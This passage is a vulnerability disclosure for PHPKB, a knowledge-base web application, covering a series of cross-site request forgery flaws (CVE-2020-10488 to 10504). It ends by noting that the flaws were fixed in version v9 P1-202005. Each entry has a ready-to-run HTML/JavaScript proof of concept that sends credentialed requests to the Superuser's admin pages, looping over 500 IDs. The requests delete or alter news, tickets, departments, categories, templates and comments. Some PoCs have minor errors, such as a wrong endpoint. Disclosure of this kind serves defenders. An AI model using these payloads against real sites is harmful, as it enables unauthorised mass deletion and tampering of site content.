		<center><h1>I am sending the requests!</h1></center>
</html>

Deleting a news article: Cross-Site Request Forgery (CVE-2020-10488)

Exploit aimed at: Superuser

Vulnerable file: admin/manage-news.php

The steps to follow in order to identify the vulnerability are:

  • log in as the Superuser;
  • click on the “news” section, then on “manage”;
  • select the news article and click on “delete”.

There is no CSRF protection in place. I’ve prepared this proof of concept:

<!DOCTYPE html5>
<html>
	<head>
		<title>Exploit CSRF!</title>
		<script>
		var i = 0;
		while (i < 500) { <!-- The number of news articles to be deleted, in this case, is 500 -->
			var xhr = new XMLHttpRequest();
			xhr.open("GET", "[PHPKB]/admin/manage-news.php?id=" + i + "&action=del")
			xhr.setRequestHeader('Content-type', 'application/x-www-form-urlencoded');
			xhr.withCredentials=true;
			xhr.send(null);
			i++;
		}
		</script>
	</head>
	<body>
		<center><h1>I am sending the requests!</h1></center>
</html>

Deleting a ticket: Cross-Site Request Forgery (CVE-2020-10489)

Exploit aimed at: Superuser

Vulnerable file: admin/manage-tickets.php

The steps to follow in order to identify the vulnerability are:

  • log in as the Superuser;
  • click on the “tickets” section, then on “open”;
  • click on “delete”.

There is no CSRF protection in place. I’ve prepared this proof of concept:

<!DOCTYPE html5>
<html>
	<head>
		<title>Exploit CSRF!</title>
		<script>
		var i = 0;
		while (i < 500) { <!-- The number of tickets to be deleted, in this case, is 500 -->
			var xhr = new XMLHttpRequest();
			xhr.open("GET", "[PHPKB]/admin/manage-tickets.php?id=" + i + "&action=del")
			xhr.setRequestHeader('Content-type', 'application/x-www-form-urlencoded');
			xhr.withCredentials=true;
			xhr.send(null);
			i++;
		}
		</script>
	</head>
	<body>
		<center><h1>I am sending the requests!</h1></center>
</html>

Deleting a department: Cross-Site Request Forgery (CVE-2020-10490)

Exploit aimed at: Superuser

Vulnerable file: admin/manage-departments.php

The steps to follow in order to identify the vulnerability are:

  • log in as the Superuser;
  • click on the “tickets” section, then on “departments”;
  • select the department and click on “delete”.

There is no CSRF protection in place. I’ve prepared this proof of concept:

<!DOCTYPE html5>
<html>
	<head>
		<title>Exploit CSRF!</title>
		<script>
		var i = 0;
		while (i < 500) { <!-- The number of news articles to be deleted, in this case, is 500 -->
			var xhr = new XMLHttpRequest();
			xhr.open("GET", "[PHPKB]/admin/manage-departments.php?id=" + i + "&action=del")
			xhr.setRequestHeader('Content-type', 'application/x-www-form-urlencoded');
			xhr.withCredentials=true;
			xhr.send(null);
			i++;
		}
		</script>
	</head>
	<body>
		<center><h1>I am sending the requests!</h1></center>
</html>

Adding a department: Cross-Site Request Forgery (CVE-2020-10491)

Exploit aimed at: Superuser

Vulnerable file: admin/manage-departments.php

The steps to follow in order to identify the vulnerability are:

  • log in as the Superuser;
  • click on the “tickets” section, then on “departments”;
  • enter the department name and click on “save”.

There is no CSRF protection in place. I’ve prepared this proof of concept:

<!DOCTYPE html5>
<html>
<!-- Change the name parameter to set the name of the department -->
<body onload="document.createElement('form').submit.call(document.getElementById('myForm'))">
    <form action="[PHPKB]/admin/manage-departments.php" method="POST" id="myForm" name="myForm">
      <input type="hidden" name="name" value="dsa" />
      <input type="hidden" name="show" value="yes" />
      <input type="hidden" name="submit&#95;department" value="Save&#32;Department" />
      <input type="submit" value="Submit request" />
    </form>
  </body>
</html>

Deleting a template article: Cross-Site Request Forgery (CVE-2020-10492)

Exploit aimed at: Superuser

Vulnerable file: admin/manage-templates.php

The steps to follow in order to identify the vulnerability are:

  • log in as the Superuser;
  • click on the “articles” section, then on “article templates”;
  • click on “delete”.

There is no CSRF protection in place. I’ve prepared this proof of concept:

<!DOCTYPE html5>
<html>
	<head>
		<title>Exploit CSRF!</title>
		<script>
		var i = 0;
		while (i < 500) { <!-- The number of templates to be deleted, in this case, is 500 -->
			var xhr = new XMLHttpRequest();
			xhr.open("GET", "[PHPKB]/admin/manage-templates.php?status=&id=" + i + "&action=del")
			xhr.setRequestHeader('Content-type', 'application/x-www-form-urlencoded');
			xhr.withCredentials=true;
			xhr.send(null);
			i++;
		}
		</script>
	</head>
	<body>
		<center><h1>I am sending the requests!</h1></center>
</html>

Editing a glossary term: Cross-Site Request Forgery (CVE-2020-10493)

Exploit aimed at: Superuser

Vulnerable file: admin/edit-glossary.php

The steps to follow in order to identify the vulnerability are:

  • log in as the Superuser;
  • click on the “glossary” section, then on “manage”;
  • click on “edit” and then on “save glossary”.

There is no CSRF protection in place. I’ve prepared this proof of concept:

<!DOCTYPE html5>
<html>
<!-- Set the visible parameter to yes if you want to make the glossary term public, or set it to no if you want to make it private -->
<!-- Change the term parameter to set the title of the glossary term -->
<!-- Change the definition parameter to set the definition of the glossary term -->
	<head>
		<title>Exploit CSRF!</title>
		<script>
		var i = 0;
		while (i < 500) { <!-- The number of glossary terms to be modified, in this case, is 500 -->
			var xhr = new XMLHttpRequest(); 
			xhr.open("POST", "[PHPKB]/admin/edit-glossary.php")
			xhr.setRequestHeader('Content-type', 'application/x-www-form-urlencoded');
			xhr.withCredentials=true;
			var params = "term=testterm&definition=definitionterm&visible=yes&id=" + i + "&p=c29ydD0mb3JkZXI9&submit=Save"
			xhr.send(params);
			i++;
		}
		</script>
	</head>
	<body>
		<center><h1>I am sending the requests!</h1></center>
</html>

Editing a news article: Cross-Site Request Forgery (CVE-2020-10494)

Exploit aimed at: Superuser

Vulnerable file: admin/edit-news.php

The steps to follow in order to identify the vulnerability are:

  • log in as the Superuser;
  • click on the “news” section, then on “manage”;
  • click on “edit” and then on “save news article”.

There is no CSRF protection in place. I’ve prepared this proof of concept:

<!DOCTYPE html5>
<html>
<!-- Set the make_visible parameter to yes if you want to make the news article public, or set it to no if you want to make it private -->
<!-- Change the title parameter to set the title of the news article -->
<!-- Change the txtContent parameter to set the description of the news article -->
	<head>
		<title>Exploit CSRF!</title>
		<script>
		var i = 0;
		while (i < 500) { <!-- The number of news articles to be modified, in this case, is 500 -->
			var xhr = new XMLHttpRequest(); 
			xhr.open("POST", "[PHPKB]/admin/edit-news.php")
			xhr.setRequestHeader('Content-type', 'application/x-www-form-urlencoded');
			xhr.withCredentials=true;
			var params = "title=titlenews&txtContent=descriptionnews&make_visible=yes&expiry_date=2020-01-24&id=" + i + "&p=c29ydD0mb3JkZXI9&directsave=Save"
			xhr.send(params);
			i++;
		}
		</script>
	</head>
	<body>
		<center><h1>I am sending the requests!</h1></center>
</html>

Editing an article template: Cross-Site Request Forgery (CVE-2020-10495)

Exploit aimed at: Superuser

Vulnerable file: admin/edit-template.php

The steps to follow in order to identify the vulnerability are:

  • log in as the Superuser;
  • click on the “articles” section, then on “manage templates”;
  • click on “edit” and then on “save article template”.

There is no CSRF protection in place. I’ve prepared this proof of concept:

<!DOCTYPE html5>
<html>
<!-- Set the type parameter to public if you want to make the template public, or set it to private if you want to make it private -->
<!-- Change the title parameter to set the title of the template -->
<!-- Change the txtContent parameter to set the description of the template -->
	<head>
		<title>Exploit CSRF!</title>
		<script>
		var i = 0;
		while (i < 500) { <!-- The number of templates to be modified, in this case, is 500 -->
			var xhr = new XMLHttpRequest(); 
			xhr.open("POST", "[PHPKB]/admin/edit-template.php")
			xhr.setRequestHeader('Content-type', 'application/x-www-form-urlencoded');
			xhr.withCredentials=true;
			var params = "title=sdasdasdasdasdasdasdasdaads&txtContent=descriptioncontent&author_id=1&make_visible=active&id=" + i + "&p=c29ydD0mb3JkZXI9&default=no&directsave=Save"
			xhr.send(params);
			i++;
		}
		</script>
	</head>
	<body>
		<center><h1>I am sending the requests!</h1></center>
</html>

Editing an article: Cross-Site Request Forgery (CVE-2020-10496)

Exploit aimed at: Superuser

Vulnerable file: admin/edit-article.php

The steps to follow in order to identify the vulnerability are:

  • log in as the Superuser;
  • click on the “articles” section, then on “my articles”;
  • click on “edit” and then on “save article”.

There is no CSRF protection in place. I’ve prepared this proof of concept:

<!DOCTYPE html5>
<html>
<!-- The ID of the article you want to modify should be specified as the value of the article_id parameter -->
  <body>
  <script>history.pushState('', '', '/')</script>
    <script>
      function submitRequest()
      {
        var xhr = new XMLHttpRequest();
        xhr.open("POST", "[PHPKB]\/admin\/save-article.php", true);
        xhr.setRequestHeader("Accept", "text\/html,application\/xhtml+xml,application\/xml;q=0.9,image\/webp,*\/*;q=0.8");
        xhr.setRequestHeader("Accept-Language", "it-IT,it;q=0.8,en-US;q=0.5,en;q=0.3");
        xhr.setRequestHeader("Content-Type", "multipart\/form-data; boundary=---------------------------3042735397090");
        xhr.withCredentials = true;
        var body = "-----------------------------3042735397090\r\n" + 
          "Content-Disposition: form-data; name=\"type\"\r\n" + 
          "\r\n" + 
          "public\r\n" + 
          "-----------------------------3042735397090\r\n" + 
          "Content-Disposition: form-data; name=\"se_able_public_1\"\r\n" + 
          "\r\n" + 
          "1\r\n" + 
          "-----------------------------3042735397090\r\n" + 
          "Content-Disposition: form-data; name=\"nstate1\"\r\n" + 
          "\r\n" + 
          "yes\r\n" + 
          "-----------------------------3042735397090\r\n" + 
          "Content-Disposition: form-data; name=\"nstate4\"\r\n" + 
          "\r\n" + 
          "no\r\n" + 
          "-----------------------------3042735397090\r\n" + 
          "Content-Disposition: form-data; name=\"nstate7\"\r\n" + 
          "\r\n" + 
          "no\r\n" + 
          "-----------------------------3042735397090\r\n" + 
          "Content-Disposition: form-data; name=\"pub_state\"\r\n" + 
          "\r\n" + 
          "1\r\n" + 
          "-----------------------------3042735397090\r\n" + 
          "Content-Disposition: form-data; name=\"pri_state\"\r\n" + 
          "\r\n" + 
          "0\r\n" + 
          "-----------------------------3042735397090\r\n" + 
          "Content-Disposition: form-data; name=\"author\"\r\n" + 
          "\r\n" + 
          "1\r\n" + 
          "-----------------------------3042735397090\r\n" + 
          "Content-Disposition: form-data; name=\"title\"\r\n" + 
          "\r\n" + 
          "test\r\n" + 
          "-----------------------------3042735397090\r\n" + 
          "Content-Disposition: form-data; name=\"txtContent\"\r\n" + 
          "\r\n" + 
          "test\r\n" + 
          "-----------------------------3042735397090\r\n" + 
          "Content-Disposition: form-data; name=\"keywords\"\r\n" + 
          "\r\n" + 
          "test\r\n" + 
          "-----------------------------3042735397090\r\n" + 
          "Content-Disposition: form-data; name=\"summary\"\r\n" + 
          "\r\n" + 
          "test\r\n" + 
          "-----------------------------3042735397090\r\n" + 
          "Content-Disposition: form-data; name=\"make_visible\"\r\n" + 
          "\r\n" + 
          "yes\r\n" + 
          "-----------------------------3042735397090\r\n" + 
          "Content-Disposition: form-data; name=\"enable_comments\"\r\n" + 
          "\r\n" + 
          "yes\r\n" + 
          "-----------------------------3042735397090\r\n" + 
          "Content-Disposition: form-data; name=\"enable_ratings\"\r\n" + 
          "\r\n" + 
          "yes\r\n" + 
          "-----------------------------3042735397090\r\n" + 
          "Content-Disposition: form-data; name=\"publish_date\"\r\n" + 
          "\r\n" + 
          "2020-01-11\r\n" + 
          "-----------------------------3042735397090\r\n" + 
          "Content-Disposition: form-data; name=\"expiry_date\"\r\n" + 
          "\r\n" + 
          "2020-01-27\r\n" + 
          "-----------------------------3042735397090\r\n" + 
          "Content-Disposition: form-data; name=\"filename0\"; filename=\"\"\r\n" + 
          "Content-Type: application/octet-stream\r\n" + 
          "\r\n" + 
          "\r\n" + 
          "-----------------------------3042735397090\r\n" + 
          "Content-Disposition: form-data; name=\"filenamecap0\"\r\n" + 
          "\r\n" + 
          "\r\n" + 
          "-----------------------------3042735397090\r\n" + 
          "Content-Disposition: form-data; name=\"totalfiles\"\r\n" + 
          "\r\n" + 
          "1\r\n" + 
          "-----------------------------3042735397090\r\n" + 
          "Content-Disposition: form-data; name=\"article_id\"\r\n" + 
          "\r\n" + 
          "1\r\n" + 
          "-----------------------------3042735397090\r\n" + 
          "Content-Disposition: form-data; name=\"autosave_id\"\r\n" + 
          "\r\n" + 
          "0\r\n" + 
          "-----------------------------3042735397090\r\n" + 
          "Content-Disposition: form-data; name=\"from_edit_section\"\r\n" + 
          "\r\n" + 
          "true\r\n" + 
          "-----------------------------3042735397090\r\n" + 
          "Content-Disposition: form-data; name=\"preview_section\"\r\n" + 
          "\r\n" + 
          "true\r\n" + 
          "-----------------------------3042735397090\r\n" + 
          "Content-Disposition: form-data; name=\"fromdraftsection\"\r\n" + 
          "\r\n" + 
          "\r\n" + 
          "-----------------------------3042735397090\r\n" + 
          "Content-Disposition: form-data; name=\"mode\"\r\n" + 
          "\r\n" + 
          "\r\n" + 
          "-----------------------------3042735397090\r\n" + 
          "Content-Disposition: form-data; name=\"p\"\r\n" + 
          "\r\n" + 
          "c3RhdHVzPW93biZzb3J0PSZvcmRlcj0=\r\n" + 
          "-----------------------------3042735397090\r\n" + 
          "Content-Disposition: form-data; name=\"UpdateArticleSubmit\"\r\n" + 
          "\r\n" + 
          "Update Article\r\n" + 
          "-----------------------------3042735397090--\r\n";
        var aBody = new Uint8Array(body.length);
        for (var i = 0; i < aBody.length; i++)
          aBody[i] = body.charCodeAt(i); 
        xhr.send(new Blob([aBody]));
      }
    </script>
    <form action="#">
      <input type="button" value="Submit request" onclick="submitRequest();" />
    </form>
  </body>
</html>

Deleting a category: Cross-Site Request Forgery (CVE-2020-10497)

Exploit aimed at: Superuser

Vulnerable file: admin/manage-categories.php

The steps to follow in order to identify the vulnerability are:

  • log in as the Superuser;
  • click on the “categories” section, then on “manage categories”;
  • click on “delete”.

There is no CSRF protection in place. I’ve prepared this proof of concept:

<!DOCTYPE html5>
<html>
	<head>
		<title>Exploit CSRF!</title>
		<script>
		var i = 0;
		while (i < 500) { <!-- The number of categories to be deleted, in this case, is 500 -->
			var xhr = new XMLHttpRequest();
			xhr.open("GET", "[PHPKB]/admin/manage-categories.php?id=" + i + "&action=delete")
			xhr.setRequestHeader('Content-type', 'application/x-www-form-urlencoded');
			xhr.withCredentials=true;
			xhr.send(null);
			i++;
		}
		</script>
	</head>
	<body>
		<center><h1>I am sending the requests!</h1></center>
</html>

Editing a category: Cross-Site Request Forgery (CVE-2020-10498)

Exploit aimed at: Superuser

Vulnerable file: admin/edit-category.php

The steps to follow in order to identify the vulnerability are:

  • log in as the Superuser;
  • click on the “categories” section, then on “manage categories”;
  • click on “edit” and then on “save category”.

There is no CSRF protection in place. I’ve prepared this proof of concept:

<!DOCTYPE html5>
<html>
<!-- Impostare il parametro type in public, se si vuole rendere la categoria pubblica, altrimenti in private, se si vuole renderela privata -->
<!-- Cambiare il parametro title per impostare il titolo della categoria -->
<!-- Cambiare il parametro content per impostare la descrizione della categoria -->
	<head>
		<title>Exploit CSRF!</title>
		<script>
		var i = 0;
		while (i < 500) { <!-- The number of categories to be modified, in this case, is 500 -->
			var xhr = new XMLHttpRequest(); 
			xhr.open("POST", "[PHPKB]/admin/edit-category.php")
			xhr.setRequestHeader('Content-type', 'application/x-www-form-urlencoded');
			xhr.withCredentials=true;
			var params = "type=public&title=dssdadasdssdadas&parent_public=0&parent_private=0&content=dssdadasdssdadasdssdadas&group_permissions=inherit&id=" + i + "&current_status=public&p=&submit=Save+Category"
			xhr.send(params);
			i++;
		}
		</script>
	</head>
	<body>
		<center><h1>I am sending the requests!</h1></center>
</html>

Closing a ticket: Cross-Site Request Forgery (CVE-2020-10499)

Exploit aimed at: Superuser

Vulnerable file: admin/manage-tickets.php

The steps to follow in order to identify the vulnerability are:

  • log in as the Superuser;
  • click on the “tickets” section, then on “open”;
  • select the ticket and click on “close”.

There is no CSRF protection in place. I’ve prepared this proof of concept:

<!DOCTYPE html5>
<html>
	<head>
		<title>Exploit CSRF!</title>
		<script>
		var i = 0;
		while (i < 500) { <!-- The number of tickets to be closed, in this case, is 500 -->
			var xhr = new XMLHttpRequest();
			xhr.open("GET", "[PHPKB]/admin/manage-tickets.php?id=" + i + "&action=close")
			xhr.setRequestHeader('Content-type', 'application/x-www-form-urlencoded');
			xhr.withCredentials=true;
			xhr.send(null);
			i++;
		}
		</script>
	</head>
	<body>
		<center><h1>I am sending the requests!</h1></center>
</html>

Replying to a ticket: Cross-Site Request Forgery (CVE-2020-10500)

Exploit aimed at: Superuser

Vulnerable file: admin/reply-ticket.php

The steps to follow in order to identify the vulnerability are:

  • log in as the Superuser;
  • click on the “tickets” section, then on “open”;
  • select the ticket, then click on “reply back” and then on “save ticket”.

There is no CSRF protection in place. I’ve prepared this proof of concept:

<!DOCTYPE html5>
<html>
<!-- Change the title parameter to set the title of the ticket response -->
<!-- <!-- Change the txtContent parameter to set the body of the ticket response -->
	<head>
		<title>Exploit CSRF!</title>
		<script>
		var i = 0;
		while (i < 500) { <!-- The number of tickets to which a response will be sent, in this case, is 500 -->
			var xhr = new XMLHttpRequest(); 
			xhr.open("POST", "[PHPKB]/admin/reply-ticket.php")
			xhr.setRequestHeader('Content-type', 'application/x-www-form-urlencoded');
			xhr.withCredentials=true;
			var params = "title=titleticket&txtContent=replytext&close_ticket=yes&type=public&nstate1=no&nstate4=no&nstate7=no&pub_state=1&pri_state=0&keywords=&summary=&tid=" + i + "&for_preview_section=true&from=&p=&Submit=Send+Reply"
			xhr.send(params);
			i++;
		}
		</script>
	</head>
	<body>
		<center><h1>I am sending the requests!</h1></center>
</html>

Editing a department: Cross-Site Request Forgery (CVE-2020-10501)

Exploit aimed at: Superuser

Vulnerable file: admin/manage-departments.php

The steps to follow in order to identify the vulnerability are:

  • log in as the Superuser;
  • click on the “tickets” section, then on “department”;
  • click on “edit” and then on “save department”.

There is no CSRF protection in place. I’ve prepared this proof of concept:

<!DOCTYPE html5>
<html>
<!-- Change the name parameter to set the name of the department -->
	<head>
		<title>Exploit CSRF!</title>
		<script>
		var i = 0;
		while (i < 500) { <!-- The number of departments to which the name will be changed, in this case, is 500 -->
			var xhr = new XMLHttpRequest(); 
			xhr.open("POST", "[PHPKB]/admin/reply-ticket.php")
			xhr.setRequestHeader('Content-type', 'application/x-www-form-urlencoded');
			xhr.withCredentials=true;
			var params = "name=depname&show=yes&submit_department=Save+Department&id=" + i + "&action=edit"
			xhr.send(params);
			i++;
		}
		</script>
	</head>
	<body>
		<center><h1>I am sending the requests!</h1></center>
</html>

Approving a new comment: Cross-Site Request Forgery (CVE-2020-10502)

Exploit aimed at: Superuser

Vulnerable file: admin/manage-comments.php

The steps to follow in order to identify the vulnerability are:

  • log in as the Superuser;
  • click on the “comments” section, then on “approved”;
  • select the comment and click on “approve”.

There is no CSRF protection in place. I’ve prepared this proof of concept:

<!DOCTYPE html5>
<html>
	<head>
		<title>Exploit CSRF!</title>
		<script>
		var i = 0;
		while (i < 500) { <!-- The number of comments to be approved, in this case, is 500 -->
			var xhr = new XMLHttpRequest();
			xhr.open("GET", "[PHPKB]/admin/manage-comments.php?cid=" + i + "&action=approve")
			xhr.setRequestHeader('Content-type', 'application/x-www-form-urlencoded');
			xhr.withCredentials=true;
			xhr.send(null);
			i++;
		}
		</script>
	</head>
	<body>
		<center><h1>I am sending the requests!</h1></center>
</html>

Disapproving a comment: Cross-Site Request Forgery (CVE-2020-10503)

Exploit aimed at: Superuser

Vulnerable file: admin/manage-comments.php

The steps to follow in order to identify the vulnerability are:

  • log in as the Superuser;
  • click on the “comments” section, then on “approved”;
  • select the comment and click on “disapprove”.

There is no CSRF protection in place. I’ve prepared this proof of concept:

<!DOCTYPE html5>
<html>
	<head>
		<title>Exploit CSRF!</title>
		<script>
		var i = 0;
		while (i < 500) { <!-- The number of comments to be disapproved, in this case, is 500 -->
			var xhr = new XMLHttpRequest();
			xhr.open("GET", "[PHPKB]/admin/manage-comments.php?cid=" + i + "&action=disapprove")
			xhr.setRequestHeader('Content-type', 'application/x-www-form-urlencoded');
			xhr.withCredentials=true;
			xhr.send(null);
			i++;
		}
		</script>
	</head>
	<body>
		<center><h1>I am sending the requests!</h1></center>
</html>

Editing a comment: Cross-Site Request Forgery (CVE-2020-10504)

Exploit aimed at: Superuser

Vulnerable file: admin/edit-comments.php

The steps to follow in order to identify the vulnerability are:

  • log in as the Superuser;
  • click on the “comments” section, then on “pending”;
  • select the comment, then click on “edit” and then on “save comment”.

There is no CSRF protection in place. I’ve prepared this proof of concept:

<!DOCTYPE html5>
<html>
<!-- Change the name parameter to set the username of the person who will make the comment -->
<!-- Change the email parameter to set the email of the user making the comment -->
<!-- Change the comment parameter to set the comment of the user -->
	<head>
		<title>Exploit CSRF!</title>
		<script>
		var i = 0;
		while (i < 500) { <!-- The number of comments to be edited, in this case, is set to 500 -->
			var xhr = new XMLHttpRequest(); 
			xhr.open("POST", "[PHPKB]/admin/edit-comment.php")
			xhr.setRequestHeader('Content-type', 'application/x-www-form-urlencoded');
			xhr.withCredentials=true;
			var params = "name=test&email=test@test.com&comment=test&status=approved&type=&cid=" + i + "&submit=Save+Changes"
			xhr.send(params);
			i++;
		}
		</script>
	</head>
	<body>
		<center><h1>I am sending the requests!</h1></center>
</html>

Final considerations

All reported vulnerabilities have been resolved in version v9 P1-202005.